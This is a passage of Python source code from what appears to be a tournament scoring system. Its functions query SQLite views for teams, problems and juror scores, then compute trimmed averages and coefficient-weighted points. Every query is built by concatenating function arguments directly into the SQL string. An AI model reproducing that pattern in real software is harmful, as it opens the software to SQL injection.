\"PLAN_ID, MTEAM_CODE, MPAIR_ID, STAGE_CODE, STAGE_ROLE_CODE, MPAIR_TEAM_ID, DSTAGE_TEAM_ID, \" \\\n \"MROOM_ID, MROOM_CODE, EVENT_ROUND_ID, ROUND_CODE, ROUND_TYPE, MPAIR_STAGE_STATUS_CODE, \" \\\n \"PROBLEM_GROUP, PROBLEM_ID, PROBLEM_CODE, PROBLEM_LABEL_CODE, DSTAGE_PROBLEM_SUB_STATUS_CODE, \" \\\n \"STAGE_MATCH_PROBLEM_CODE, STAGE_MATCH_PROBLEM_ID, STAGE_PROGRESS_STATUS_CODE, MROOM_LABEL \" \\\n \"FROM v_dstage_problems_opponent \" \\\n \"WHERE PLAN_ID=\" + str(plan_id) + \" \" + \\\n \"ORDER by MTEAM_CODE, PROBLEM_CODE, ROUND_CODE, STAGE_CODE, STAGE_ROLE_CODE\" \\\n \";\"\n #print(\"***___\", command)\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n return result\n\n\n# get all the problems for all teams that have been challenged (2-rejected, 3-accepted)\ndef get_all_reporter_problems(plan_id, app_db_web_location=app_db_web_location_default):\n result_rows = search_all_reporter_problems(plan_id, app_db_web_location)\n if result_rows is not None and len(result_rows) > 0:\n current_team_code = 0\n tmp_team_problem_list = []\n reporter_problems = []\n tmp_problem_code = 0\n tmp_problem_label_code = 0\n tmp_dstage_problem_list = []\n for row in result_rows:\n if row[1] != current_team_code:\n if tmp_problem_code > 0:\n tmp_tuple1 = (tmp_problem_code, tmp_dstage_problem_list, tmp_problem_label_code)\n tmp_team_problem_list.append(tmp_tuple1)\n\n if current_team_code >0:\n tmp_tuple2 = (current_team_code, tmp_team_problem_list)\n reporter_problems.append(tmp_tuple2)\n\n current_team_code = row[1]\n tmp_team_problem_list = []\n tmp_dstage_problem_list = []\n tmp_problem_code = row[15]\n tmp_problem_label_code = row[16]\n\n if row[15] != tmp_problem_code:\n if tmp_problem_code > 0:\n tmp_tuple1 = (tmp_problem_code, tmp_dstage_problem_list, tmp_problem_label_code)\n tmp_team_problem_list.append(tmp_tuple1)\n\n tmp_dstage_problem_list = []\n tmp_problem_code = row[15]\n tmp_problem_label_code = row[16]\n\n #\"PLAN_ID, MTEAM_CODE, MPAIR_ID, STAGE_CODE, STAGE_ROLE_CODE, MPAIR_TEAM_ID, DSTAGE_TEAM_ID, \" \\ 0-6\n #\"MROOM_ID, MROOM_CODE, EVENT_ROUND_ID, ROUND_CODE, ROUND_TYPE, MPAIR_STAGE_STATUS_CODE, \" \\ 7-12\n #\"PROBLEM_GROUP, PROBLEM_ID, PROBLEM_CODE, PROBLEM_LABEL_CODE, DSTAGE_PROBLEM_SUB_STATUS_CODE, \" \\ 13-17\n #\"STAGE_MATCH_PROBLEM_CODE, STAGE_MATCH_PROBLEM_ID, STAGE_PROGRESS_STATUS_CODE, MROOM_LABEL \" \\ 18-21\n # info: ROUND_CODE, MROOM_CODE, STAGE_CODE, STAGE_ROLE_CODE, DSTAGE_PROBLEM_SUB_STATUS_CODE,\\\n tmp_tuple_dstage_problem_info = (row[10], row[8], row[3], row[4], row[17])\n tmp_dstage_problem_list.append(tmp_tuple_dstage_problem_info)\n\n if tmp_problem_code > 0:\n tmp_tuple1 = (tmp_problem_code, tmp_dstage_problem_list, tmp_problem_label_code)\n tmp_team_problem_list.append(tmp_tuple1)\n\n if current_team_code > 0:\n tmp_tuple2 = (current_team_code, tmp_team_problem_list)\n reporter_problems.append(tmp_tuple2)\n\n return reporter_problems\n else:\n return None\n\n\n# search all the problems that reporter team has been challenged (2-rejected, 3-accepted)\ndef search_reporter_team_problems(plan_id, current_reporter_team_code, problem_reject_accept_code, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n command = \"SELECT \" \\\n \"PLAN_ID, MTEAM_CODE, MPAIR_ID, STAGE_CODE, STAGE_ROLE_CODE, MPAIR_TEAM_ID, DSTAGE_TEAM_ID, \" \\\n \"MROOM_ID, MROOM_CODE, EVENT_ROUND_ID, ROUND_CODE, ROUND_TYPE, MPAIR_STAGE_STATUS_CODE, \" \\\n \"PROBLEM_GROUP, PROBLEM_ID, PROBLEM_CODE, PROBLEM_LABEL_CODE, DSTAGE_PROBLEM_SUB_STATUS_CODE, \" \\\n \"STAGE_MATCH_PROBLEM_CODE, STAGE_MATCH_PROBLEM_ID, STAGE_PROGRESS_STATUS_CODE, MROOM_LABEL \" \\\n \"FROM v_dstage_problems_reporter \" \\\n \"WHERE PLAN_ID=\" + str(plan_id) + \" \" \\\n \"AND DSTAGE_PROBLEM_SUB_STATUS_CODE=\" + str(problem_reject_accept_code) + \" \" \\\n \"AND MTEAM_CODE=\" + str(current_reporter_team_code) + \" \" \\\n \"ORDER by PROBLEM_GROUP, PROBLEM_CODE, ROUND_CODE\" \\\n \";\"\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n return result\n\n\n# get all the problems that reporter team has been challenged (2-rejected, 3-accepted)\ndef get_reporter_team_problems(plan_id, current_reporter_team_code, problem_reject_accept_code, app_db_web_location=app_db_web_location_default):\n result_rows = search_reporter_team_problems(plan_id, current_reporter_team_code, problem_reject_accept_code, app_db_web_location)\n if result_rows is not None and len(result_rows) > 0:\n current_problem_group_code = 0\n tmp_total_rejected_times = 0\n reporter_problems_rejected = []\n tmp_problem_code = 0\n tmp_group_problem_list = []\n tmp_dstage_problem_list = []\n tmp_prolem_rejected_times = 0\n for row in result_rows:\n if row[13] != current_problem_group_code:\n if tmp_problem_code > 0:\n tmp_tuple1 = (tmp_problem_code, tmp_dstage_problem_list, tmp_prolem_rejected_times)\n tmp_group_problem_list.append(tmp_tuple1)\n\n if current_problem_group_code >0:\n tmp_tuple2 = (current_problem_group_code, tmp_group_problem_list, tmp_total_rejected_times)\n reporter_problems_rejected.append(tmp_tuple2)\n\n current_problem_group_code = row[13]\n tmp_group_problem_list = []\n tmp_dstage_problem_list = []\n tmp_prolem_rejected_times = 0\n tmp_total_rejected_times = 0\n tmp_problem_code = row[15]\n\n if row[15] != tmp_problem_code:\n if tmp_problem_code > 0:\n tmp_tuple1 = (tmp_problem_code, tmp_dstage_problem_list, tmp_prolem_rejected_times)\n tmp_group_problem_list.append(tmp_tuple1)\n\n tmp_dstage_problem_list = []\n tmp_prolem_rejected_times = 0\n tmp_problem_code = row[15]\n\n #\"PLAN_ID, MTEAM_CODE, MPAIR_ID, STAGE_CODE, STAGE_ROLE_CODE, MPAIR_TEAM_ID, DSTAGE_TEAM_ID, \" \\ 0-6\n #\"MROOM_ID, MROOM_CODE, EVENT_ROUND_ID, ROUND_CODE, ROUND_TYPE, MPAIR_STAGE_STATUS_CODE, \" \\ 7-12\n #\"PROBLEM_GROUP, PROBLEM_ID, PROBLEM_CODE, PROBLEM_LABEL_CODE, DSTAGE_PROBLEM_SUB_STATUS_CODE, \" \\ 13-17\n #\"STAGE_MATCH_PROBLEM_CODE, STAGE_MATCH_PROBLEM_ID, STAGE_PROGRESS_STATUS_CODE, MROOM_LABEL \" \\ 18-21\n # info: MPAIR_ID, STAGE_CODE, STAGE_ROLE_CODE, MPAIR_TEAM_ID, DSTAGE_TEAM_ID, MROOM_CODE, MROOM_LABEL, ROUND_CODE \\ 0-7\n # + PROBLEM_ID, PROBLEM_CODE, PROBLEM_LABEL_CODE, DSTAGE_PROBLEM_SUB_STATUS_CODE,\\ 8-11\n tmp_tuple_dstage_problem_info = (row[2], row[3], row[4], row[5], row[6], row[8], row[21], row[10], row[14], row[15], row[16], row[17])\n tmp_dstage_problem_list.append(tmp_tuple_dstage_problem_info)\n tmp_prolem_rejected_times += 1\n tmp_total_rejected_times += 1\n\n if tmp_problem_code > 0:\n tmp_tuple1 = (tmp_problem_code, tmp_dstage_problem_list, tmp_prolem_rejected_times)\n tmp_group_problem_list.append(tmp_tuple1)\n\n if current_problem_group_code > 0:\n tmp_tuple2 = (current_problem_group_code, tmp_group_problem_list, tmp_total_rejected_times)\n reporter_problems_rejected.append(tmp_tuple2)\n\n return reporter_problems_rejected\n else:\n return None\n\n\n# Search all the teams' scores for specific pair (aka round and room)\ndef search_mpair_scores(plan_id, mpair_id=0, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n if mpair_id > 0:\n command = \"SELECT \" \\\n \"EVENT_ID, PLAN_ID, MPAIR_ID, STAGE_CODE, STAGE_ROLE_CODE, MTEAM_CODE, TEAM_MEMBER_ID, MPAIR_TEAM_ID, DSTAGE_TEAM_ID, \" \\\n \"ROUND_CODE, ROUND_TYPE, MROOM_CODE, MPAIR_STAGE_STATUS_CODE, POINT_WITH_FACTOR, \" \\\n \"DSTAGE_JUROR_ID, DSTAGE_SCORE_ID, MJUROR_CODE, TOTAL_SCORE, AVERAGE_POINT, \" \\\n \"REP_COEFFICIENCE, OPP_COEFFICIENCE, REP_REJECTION_CREIDT_G1, REP_REJECTION_CREIDT_G2, \" \\\n \"STAGE_MATCH_PROBLEM_CODE, DSTAGE_JUROR_ID, ROUND_TYPE, MROOM_LABEL, \" \\\n \"SC1, SC2, SC3, SC4, SC5, TEAM_MEMBER_ID, TEAM_MEMBER_NAME, TOTAL_REJECTED_TIMES, \" \\\n \"SC6, SC7, REV_COEFFICIENCE \" \\\n \"FROM v_dstage_team_scores \" \\\n \"WHERE PLAN_ID=\" + str(plan_id) + \" \" \\\n \"AND MPAIR_ID=\" + str(mpair_id) + \" \" \\\n \"ORDER by STAGE_CODE, STAGE_ROLE_CODE, MJUROR_CODE\" \\\n \";\"\n else:\n command = \"SELECT \" \\\n \"EVENT_ID, PLAN_ID, MPAIR_ID, STAGE_CODE, STAGE_ROLE_CODE, MTEAM_CODE, TEAM_MEMBER_ID, MPAIR_TEAM_ID, DSTAGE_TEAM_ID, \" \\\n \"ROUND_CODE, ROUND_TYPE, MROOM_CODE, MPAIR_STAGE_STATUS_CODE, POINT_WITH_FACTOR, \" \\\n \"DSTAGE_JUROR_ID, DSTAGE_SCORE_ID, MJUROR_CODE, TOTAL_SCORE, AVERAGE_POINT, \" \\\n \"REP_COEFFICIENCE, OPP_COEFFICIENCE, REP_REJECTION_CREIDT_G1, REP_REJECTION_CREIDT_G2, \" \\\n \"STAGE_MATCH_PROBLEM_CODE, DSTAGE_JUROR_ID, ROUND_TYPE, MROOM_LABEL, \" \\\n \"SC1, SC2, SC3, SC4, SC5, TEAM_MEMBER_ID, TEAM_MEMBER_NAME, TOTAL_REJECTED_TIMES, \" \\\n \"SC6, SC7, REV_COEFFICIENCE \" \\\n \"FROM v_dstage_team_scores \" \\\n \"WHERE PLAN_ID=\" + str(plan_id) + \" \" \\\n \"ORDER by ROUND_CODE, MROOM_CODE, STAGE_CODE, STAGE_ROLE_CODE, MJUROR_CODE\" \\\n \";\"\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n return result\n\n\n# get all the teams' scores for specific pair (aka round and room)\ndef get_mpair_scores_4validate(plan_id, mpair_id, current_team_codes, app_db_web_location=app_db_web_location_default):\n result_rows = search_mpair_scores(plan_id, mpair_id, app_db_web_location)\n current_stage_code = 0\n tmp_stage_role_scores = None\n tmp_stage_role_team_member = None\n mpair_stage_role_score_list = []\n tmp_mpair_info = None\n tmp_stage_role_code = 0\n tmp_mteam_code = 0\n tmp_mteam_1 = current_team_codes[0]\n tmp_mteam_2 = current_team_codes[1]\n tmp_mteam_1_SP = 0\n tmp_mteam_2_SP = 0\n tmp_stage_role_list = []\n tmp_dstage_score_list = []\n tmp_dstage_role_jscores = []\n for row in result_rows:\n if row[3] != current_stage_code:\n if tmp_stage_role_code > 0:\n # calculate average point\n tmp_max_score = max(tmp_dstage_role_jscores)\n tmp_min_score = min(tmp_dstage_role_jscores)\n tmp_average_score = (tmp_max_score + tmp_min_score) / 2\n tmp_score_count = 1\n for jscore in tmp_dstage_role_jscores:\n if jscore == tmp_min_score:\n tmp_min_score = -100\n elif jscore == tmp_max_score:\n tmp_max_score = 100\n else:\n tmp_score_count += 1\n tmp_average_score = tmp_average_score + jscore\n tmp_average_score = round(tmp_average_score / tmp_score_count, 1)\n tmp_deduction = 0\n if tmp_stage_role_scores[8] is not None and tmp_stage_role_scores[8] > 0:\n tmp_deduction = (tmp_stage_role_scores[8] - tmp_stage_role_scores[6] - tmp_stage_role_scores[\n 7]) * 0.2\n tmp_points = 0\n if tmp_stage_role_code == 1:\n tmp_points = tmp_average_score * (tmp_stage_role_scores[4] - tmp_deduction)\n elif tmp_stage_role_code == 2:\n tmp_points = tmp_average_score * (tmp_stage_role_scores[5])\n # calcuate SP at mpair_team level\n if tmp_mteam_code == tmp_mteam_1:\n tmp_mteam_1_SP = tmp_mteam_1_SP + round(tmp_points, 1)\n elif tmp_mteam_code == tmp_mteam_2:\n tmp_mteam_2_SP = tmp_mteam_2_SP + round(tmp_points, 1)\n\n tmp_tuple1 = (tmp_stage_role_code, tmp_mteam_code, tmp_stage_role_scores, tmp_dstage_score_list,\n tmp_stage_role_team_member, round(tmp_average_score, 1), round(tmp_points, 1),\n round(tmp_deduction, 1))\n tmp_stage_role_list.append(tmp_tuple1)\n\n if current_stage_code >0:\n tmp_tuple2 = (current_stage_code, tmp_mpair_info, tmp_stage_role_list)\n mpair_stage_role_score_list.append(tmp_tuple2)\n\n current_stage_code = row[3]\n tmp_stage_role_list = []\n tmp_dstage_score_list = []\n tmp_dstage_role_jscores = []\n tmp_mpair_info = (row[2], row[9], row[11], row[26], row[23]) # mpair_id, round_code, room_code, romm_code_label)\n tmp_stage_role_code = row[4]\n tmp_mteam_code = row[5]\n # MPAIR_TEAM_ID, DSTAGE_TEAM_ID, ap_with_factor, average_point, REP_COEFFICIENCE, OPP_COEFFICIENCE, REP_REJECTION_CREIDT_G1, REP_REJECTION_CREIDT_G2, TOTAL_REJECTED_TIMES\n tmp_stage_role_scores = (row[7], row[8], row[13], row[18], row[19], row[20], row[21], row[22], row[34])\n tmp_stage_role_team_member = (row[32], row[33]) # TEAM_MEMBER_ID, TEAM_MEMBER_NAME\n\n if row[4] != tmp_stage_role_code:\n if tmp_stage_role_code > 0:\n # calculate average point\n tmp_max_score = max(tmp_dstage_role_jscores)\n tmp_min_score = min(tmp_dstage_role_jscores)\n tmp_average_score = (tmp_max_score + tmp_min_score) / 2\n tmp_score_count = 1\n for jscore in tmp_dstage_role_jscores:\n if jscore == tmp_min_score:\n tmp_min_score = -100\n elif jscore == tmp_max_score:\n tmp_max_score = 100\n else:\n tmp_score_count += 1\n tmp_average_score = tmp_average_score + jscore\n tmp_average_score = round(tmp_average_score / tmp_score_count, 1)\n tmp_deduction = 0\n if tmp_stage_role_scores[8] is not None and tmp_stage_role_scores[8] > 0:\n tmp_deduction = (tmp_stage_role_scores[8] - tmp_stage_role_scores[6] - tmp_stage_role_scores[\n 7]) * 0.2\n tmp_points = 0\n if tmp_stage_role_code == 1:\n tmp_points = tmp_average_score * (tmp_stage_role_scores[4] - tmp_deduction)\n elif tmp_stage_role_code == 2:\n tmp_points = tmp_average_score * (tmp_stage_role_scores[5])\n # calcuate SP at mpair_team level\n if tmp_mteam_code == tmp_mteam_1:\n tmp_mteam_1_SP = tmp_mteam_1_SP + round(tmp_points, 1)\n elif tmp_mteam_code == tmp_mteam_2:\n tmp_mteam_2_SP = tmp_mteam_2_SP + round(tmp_points, 1)\n\n tmp_tuple1 = (tmp_stage_role_code, tmp_mteam_code, tmp_stage_role_scores, tmp_dstage_score_list,\n tmp_stage_role_team_member, round(tmp_average_score, 1), round(tmp_points, 1),\n round(tmp_deduction, 1))\n tmp_stage_role_list.append(tmp_tuple1)\n\n tmp_dstage_score_list = []\n tmp_dstage_role_jscores = []\n tmp_stage_role_code = row[4]\n tmp_mteam_code = row[5]\n # MPAIR_TEAM_ID, DSTAGE_TEAM_ID, ap_with_factor, average_point, REP_COEFFICIENCE, OPP_COEFFICIENCE, REP_REJECTION_CREIDT_G1, REP_REJECTION_CREIDT_G2, TOTAL_REJECTED_TIMES\n tmp_stage_role_scores = (row[7], row[8], row[13], row[18], row[19], row[20], row[21], row[22], row[34])\n tmp_stage_role_team_member = (row[32], row[33]) # TEAM_MEMBER_ID, TEAM_MEMBER_NAME\n\n #\"EVENT_ID, PLAN_ID, MPAIR_ID, STAGE_CODE, STAGE_ROLE_CODE, MTEAM_CODE, TEAM_MEMBER_ID, MPAIR_TEAM_ID, DSTAGE_TEAM_ID, \" \\ 0-8\n #\"ROUND_CODE, ROUND_TYPE, MROOM_CODE, MPAIR_STAGE_STATUS_CODE, POINT_WITH_FACTOR, \" \\ 9-13\n #\"DSTAGE_JUROR_ID, DSTAGE_SCORE_ID, MJUROR_CODE, TOTAL_SCORE, AVERAGE_POINT, \" \\ 14-18\n #\"REP_COEFFICIENCE, OPP_COEFFICIENCE, REP_REJECTION_CREIDT_G1, REP_REJECTION_CREIDT_G2, \" \\ 19-22\n #\"STAGE_MATCH_PROBLEM_CODE, DSTAGE_JUROR_ID, ROUND_TYPE, MROOM_LABEL, \" \\ 23-26\n #\"SC1, SC2, SC3, SC4, SC5, TEAM_MEMBER_ID, TEAM_MEMBER_NAME, TOTAL_REJECTED_TIMES \" \\ 27-34\n # info: DSTAGE_SCORE_ID, MJUROR_CODE, TOTAL_SCORE, SC1, SC2, SC3, SC4, SC5 \\ 0-4\n tmp_dstage_juror_score = (row[15], row[16], row[17], row[27], row[28], row[29], row[30], row[31])\n tmp_dstage_score_list.append(tmp_dstage_juror_score)\n tmp_dstage_role_jscores.append(row[17])\n\n if tmp_stage_role_code > 0:\n # calculate average point\n tmp_max_score = max(tmp_dstage_role_jscores)\n tmp_min_score = min(tmp_dstage_role_jscores)\n tmp_average_score = (tmp_max_score + tmp_min_score) / 2\n tmp_score_count = 1\n for jscore in tmp_dstage_role_jscores:\n if jscore == tmp_min_score:\n tmp_min_score = -100\n elif jscore == tmp_max_score:\n tmp_max_score = 100\n else:\n tmp_score_count += 1\n tmp_average_score = tmp_average_score + jscore\n tmp_average_score = round(tmp_average_score / tmp_score_count, 1)\n tmp_deduction = 0\n if tmp_stage_role_scores[8] is not None and tmp_stage_role_scores[8] > 0:\n tmp_deduction = (tmp_stage_role_scores[8] - tmp_stage_role_scores[6] - tmp_stage_role_scores[7]) * 0.2\n tmp_points = 0\n if tmp_stage_role_code == 1:\n tmp_points = tmp_average_score * (tmp_stage_role_scores[4] - tmp_deduction)\n elif tmp_stage_role_code == 2:\n tmp_points = tmp_average_score * (tmp_stage_role_scores[5])\n # calcuate SP at mpair_team level\n if tmp_mteam_code == tmp_mteam_1:\n tmp_mteam_1_SP = tmp_mteam_1_SP + round(tmp_points, 1)\n elif tmp_mteam_code == tmp_mteam_2:\n tmp_mteam_2_SP = tmp_mteam_2_SP + round(tmp_points, 1)\n\n tmp_tuple1 = (tmp_stage_role_code, tmp_mteam_code, tmp_stage_role_scores, tmp_dstage_score_list, tmp_stage_role_team_member, round(tmp_average_score,1), round(tmp_points,1), round(tmp_deduction,1))\n tmp_stage_role_list.append(tmp_tuple1)\n\n if current_stage_code > 0:\n tmp_tuple2 = (current_stage_code, tmp_mpair_info, tmp_stage_role_list)\n mpair_stage_role_score_list.append(tmp_tuple2)\n\n return ( mpair_stage_role_score_list, (round(tmp_mteam_1_SP,1), round(tmp_mteam_2_SP,1)) )\n\n\n# get all the teams' scores for final match\ndef get_fm_mpair_scores_4validate(plan_id, mpair_id, current_team_codes, app_db_web_location=app_db_web_location_default):\n result_rows = search_mpair_scores(plan_id, mpair_id, app_db_web_location)\n current_stage_code = 0\n tmp_stage_role_scores = None\n tmp_stage_role_team_member = None\n mpair_stage_role_score_list = []\n tmp_mpair_info = None\n tmp_stage_role_code = 0\n tmp_mteam_code = 0\n tmp_mteam_1 = current_team_codes[0]\n tmp_mteam_2 = current_team_codes[1]\n tmp_mteam_3 = current_team_codes[2]\n tmp_mteam_1_SP = 0\n tmp_mteam_2_SP = 0\n tmp_mteam_3_SP = 0\n tmp_stage_role_list = []\n tmp_dstage_score_list = []\n tmp_dstage_role_jscores = []\n for row in result_rows:\n if row[3] != current_stage_code:\n if tmp_stage_role_code > 0:\n # calculate average point\n tmp_max_score = max(tmp_dstage_role_jscores)\n tmp_min_score = min(tmp_dstage_role_jscores)\n tmp_average_score = (tmp_max_score + tmp_min_score) / 2\n tmp_score_count = 1\n for jscore in tmp_dstage_role_jscores:\n if jscore == tmp_min_score:\n tmp_min_score = -100\n elif jscore == tmp_max_score:\n tmp_max_score = 100\n else:\n tmp_score_count += 1\n tmp_average_score = tmp_average_score + jscore\n tmp_average_score = round(tmp_average_score / tmp_score_count, 1)\n tmp_deduction = 0\n if tmp_stage_role_scores[8] > 0:\n tmp_deduction = (tmp_stage_role_scores[8] - tmp_stage_role_scores[6] - tmp_stage_role_scores[\n 7]) * 0.2\n tmp_points = 0\n if tmp_stage_role_code == 1:\n tmp_points = tmp_average_score * (tmp_stage_role_scores[4] - tmp_deduction)\n elif tmp_stage_role_code == 2:\n tmp_points = tmp_average_score * (tmp_stage_role_scores[5])\n elif tmp_stage_role_code == 3:\n tmp_points = tmp_average_score * (tmp_stage_role_scores[9])\n # calcuate SP at mpair_team level\n if tmp_mteam_code == tmp_mteam_1:\n tmp_mteam_1_SP = tmp_mteam_1_SP + round(tmp_points, 1)\n elif tmp_mteam_code == tmp_mteam_2:\n tmp_mteam_2_SP = tmp_mteam_2_SP + round(tmp_points, 1)\n elif tmp_mteam_code == tmp_mteam_3:\n tmp_mteam_3_SP = tmp_mteam_3_SP + round(tmp_points, 1)\n\n tmp_tuple1 = (tmp_stage_role_code, tmp_mteam_code, tmp_stage_role_scores, tmp_dstage_score_list,\n tmp_stage_role_team_member, round(tmp_average_score, 1), round(tmp_points, 1),\n round(tmp_deduction, 1))\n tmp_stage_role_list.append(tmp_tuple1)\n\n if current_stage_code >0:\n tmp_tuple2 = (current_stage_code, tmp_mpair_info, tmp_stage_role_list)\n mpair_stage_role_score_list.append(tmp_tuple2)\n\n current_stage_code = row[3]\n tmp_stage_role_list = []\n tmp_dstage_score_list = []\n tmp_dstage_role_jscores = []\n tmp_mpair_info = (row[2], row[9], row[11], row[26], row[23]) # mpair_id, round_code, room_code, romm_code_label)\n tmp_stage_role_code = row[4]\n tmp_mteam_code = row[5]\n # MPAIR_TEAM_ID, DSTAGE_TEAM_ID, ap_with_factor, average_point, REP_COEFFICIENCE, OPP_COEFFICIENCE,\n # REP_REJECTION_CREIDT_G1, REP_REJECTION_CREIDT_G2, TOTAL_REJECTED_TIMES\n tmp_stage_role_scores = (row[7], row[8], row[13], row[18], row[19], row[20], row[21], row[22], row[34], row[37])\n tmp_stage_role_team_member = (row[32], row[33]) # TEAM_MEMBER_ID, TEAM_MEMBER_NAME\n\n if row[4] != tmp_stage_role_code:\n if tmp_stage_role_code > 0:\n # calculate average point\n tmp_max_score = max(tmp_dstage_role_jscores)\n tmp_min_score = min(tmp_dstage_role_jscores)\n tmp_average_score = (tmp_max_score + tmp_min_score) / 2\n tmp_score_count = 1\n for jscore in tmp_dstage_role_jscores:\n if jscore == tmp_min_score:\n tmp_min_score = -100\n elif jscore == tmp_max_score:\n tmp_max_score = 100\n else:\n tmp_score_count += 1\n tmp_average_score = tmp_average_score + jscore\n tmp_average_score = round(tmp_average_score / tmp_score_count, 1)\n tmp_deduction = 0\n if tmp_stage_role_scores[8] > 0:\n tmp_deduction = (tmp_stage_role_scores[8] - tmp_stage_role_scores[6] - tmp_stage_role_scores[\n 7]) * 0.2\n tmp_points = 0\n if tmp_stage_role_code == 1:\n tmp_points = tmp_average_score * (tmp_stage_role_scores[4] - tmp_deduction)\n elif tmp_stage_role_code == 2:\n tmp_points = tmp_average_score * (tmp_stage_role_scores[5])\n elif tmp_stage_role_code == 3:\n tmp_points = tmp_average_score * (tmp_stage_role_scores[9])\n # calcuate SP at mpair_team level\n if tmp_mteam_code == tmp_mteam_1:\n tmp_mteam_1_SP = tmp_mteam_1_SP + round(tmp_points, 1)\n elif tmp_mteam_code == tmp_mteam_2:\n tmp_mteam_2_SP = tmp_mteam_2_SP + round(tmp_points, 1)\n elif tmp_mteam_code == tmp_mteam_3:\n tmp_mteam_3_SP = tmp_mteam_3_SP + round(tmp_points, 1)\n\n tmp_tuple1 = (tmp_stage_role_code, tmp_mteam_code, tmp_stage_role_scores, tmp_dstage_score_list,\n tmp_stage_role_team_member, round(tmp_average_score, 1), round(tmp_points, 1),\n round(tmp_deduction, 1))\n tmp_stage_role_list.append(tmp_tuple1)\n\n tmp_dstage_score_list = []\n tmp_dstage_role_jscores = []\n tmp_stage_role_code = row[4]\n tmp_mteam_code = row[5]\n # MPAIR_TEAM_ID, DSTAGE_TEAM_ID, ap_with_factor, average_point, REP_COEFFICIENCE, OPP_COEFFICIENCE,\n # REP_REJECTION_CREIDT_G1, REP_REJECTION_CREIDT_G2, TOTAL_REJECTED_TIMES\n tmp_stage_role_scores = (row[7], row[8], row[13], row[18], row[19], row[20], row[21], row[22], row[34], row[37])\n tmp_stage_role_team_member = (row[32], row[33]) # TEAM_MEMBER_ID, TEAM_MEMBER_NAME\n\n #\"EVENT_ID, PLAN_ID, MPAIR_ID, STAGE_CODE, STAGE_ROLE_CODE, MTEAM_CODE, TEAM_MEMBER_ID, MPAIR_TEAM_ID, DSTAGE_TEAM_ID, \" \\ 0-8\n #\"ROUND_CODE, ROUND_TYPE, MROOM_CODE, MPAIR_STAGE_STATUS_CODE, POINT_WITH_FACTOR, \" \\ 9-13\n #\"DSTAGE_JUROR_ID, DSTAGE_SCORE_ID, MJUROR_CODE, TOTAL_SCORE, AVERAGE_POINT, \" \\ 14-18\n #\"REP_COEFFICIENCE, OPP_COEFFICIENCE, REP_REJECTION_CREIDT_G1, REP_REJECTION_CREIDT_G2, \" \\ 19-22\n #\"STAGE_MATCH_PROBLEM_CODE, DSTAGE_JUROR_ID, ROUND_TYPE, MROOM_LABEL, \" \\ 23-26\n #\"SC1, SC2, SC3, SC4, SC5, TEAM_MEMBER_ID, TEAM_MEMBER_NAME, TOTAL_REJECTED_TIMES \" \\ 27-34\n # SC6, SC7, REV_COEFFICIENCE \\ 35-37\n # info: DSTAGE_SCORE_ID, MJUROR_CODE, TOTAL_SCORE, SC1, SC2, SC3, SC4, SC5, SC6, SC7 \\ 0-4\n tmp_dstage_juror_score = (row[15], row[16], row[17], row[27], row[28], row[29], row[30], row[31], row[35], row[36])\n tmp_dstage_score_list.append(tmp_dstage_juror_score)\n tmp_dstage_role_jscores.append(row[17])\n\n if tmp_stage_role_code > 0:\n # calculate average point\n tmp_max_score = max(tmp_dstage_role_jscores)\n tmp_min_score = min(tmp_dstage_role_jscores)\n tmp_average_score = (tmp_max_score + tmp_min_score) / 2\n tmp_score_count = 1\n for jscore in tmp_dstage_role_jscores:\n if jscore == tmp_min_score:\n tmp_min_score = -100\n elif jscore == tmp_max_score:\n tmp_max_score = 100\n else:\n tmp_score_count += 1\n tmp_average_score = tmp_average_score + jscore\n tmp_average_score = round(tmp_average_score / tmp_score_count, 1)\n tmp_deduction = 0\n if tmp_stage_role_scores[8] > 0:\n tmp_deduction = (tmp_stage_role_scores[8] - tmp_stage_role_scores[6] - tmp_stage_role_scores[7]) * 0.2\n tmp_points = 0\n if tmp_stage_role_code == 1:\n tmp_points = tmp_average_score * (tmp_stage_role_scores[4] - tmp_deduction)\n elif tmp_stage_role_code == 2:\n tmp_points = tmp_average_score * (tmp_stage_role_scores[5])\n elif tmp_stage_role_code == 3:\n tmp_points = tmp_average_score * (tmp_stage_role_scores[9])\n # calcuate SP at mpair_team level\n if tmp_mteam_code == tmp_mteam_1:\n tmp_mteam_1_SP = tmp_mteam_1_SP + round(tmp_points, 1)\n elif tmp_mteam_code == tmp_mteam_2:\n tmp_mteam_2_SP = tmp_mteam_2_SP + round(tmp_points, 1)\n elif tmp_mteam_code == tmp_mteam_3:\n tmp_mteam_3_SP = tmp_mteam_3_SP + round(tmp_points, 1)\n\n tmp_tuple1 = (tmp_stage_role_code, tmp_mteam_code, tmp_stage_role_scores, tmp_dstage_score_list, tmp_stage_role_team_member, round(tmp_average_score,1), round(tmp_points,1), round(tmp_deduction,1))\n tmp_stage_role_list.append(tmp_tuple1)\n\n if current_stage_code > 0:\n tmp_tuple2 = (current_stage_code, tmp_mpair_info, tmp_stage_role_list)\n mpair_stage_role_score_list.append(tmp_tuple2)\n\n return ( mpair_stage_role_score_list, (round(tmp_mteam_1_SP,1), round(tmp_mteam_2_SP,1), round(tmp_mteam_3_SP,1)) )\n\n\n# Search all the teams' problems for specific pair (aka round and room)\ndef search_mpair_problems(plan_id, mpair_id=0, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n if mpair_id > 0:\n command = \"SELECT DISTINCT \" \\\n \"PLAN_ID, MPAIR_ID, ROUND_CODE, MROOM_CODE, STAGE_CODE, \" \\\n \"DSTAGE_PROBLEM_ID, PROBLEM_CODE, PROBLEM_LABEL_CODE, PROBLEM_LABEL, DSTAGE_PROBLEM_SUB_STATUS_CODE \" \\\n \"FROM v_dstage_problems_reporter \" \\\n \"WHERE PLAN_ID=\" + str(plan_id) + \" \" \\\n \"AND MPAIR_ID=\" + str(mpair_id) + \" \" \\\n \"ORDER by STAGE_CODE, PROBLEM_CODE, DSTAGE_PROBLEM_SUB_STATUS_CODE\" \\\n \";\"\n else:\n command = \"SELECT DISTINCT \" \\\n \"PLAN_ID, MPAIR_ID, ROUND_CODE, MROOM_CODE, STAGE_CODE, \" \\\n \"DSTAGE_PROBLEM_ID, PROBLEM_CODE, PROBLEM_LABEL_CODE, 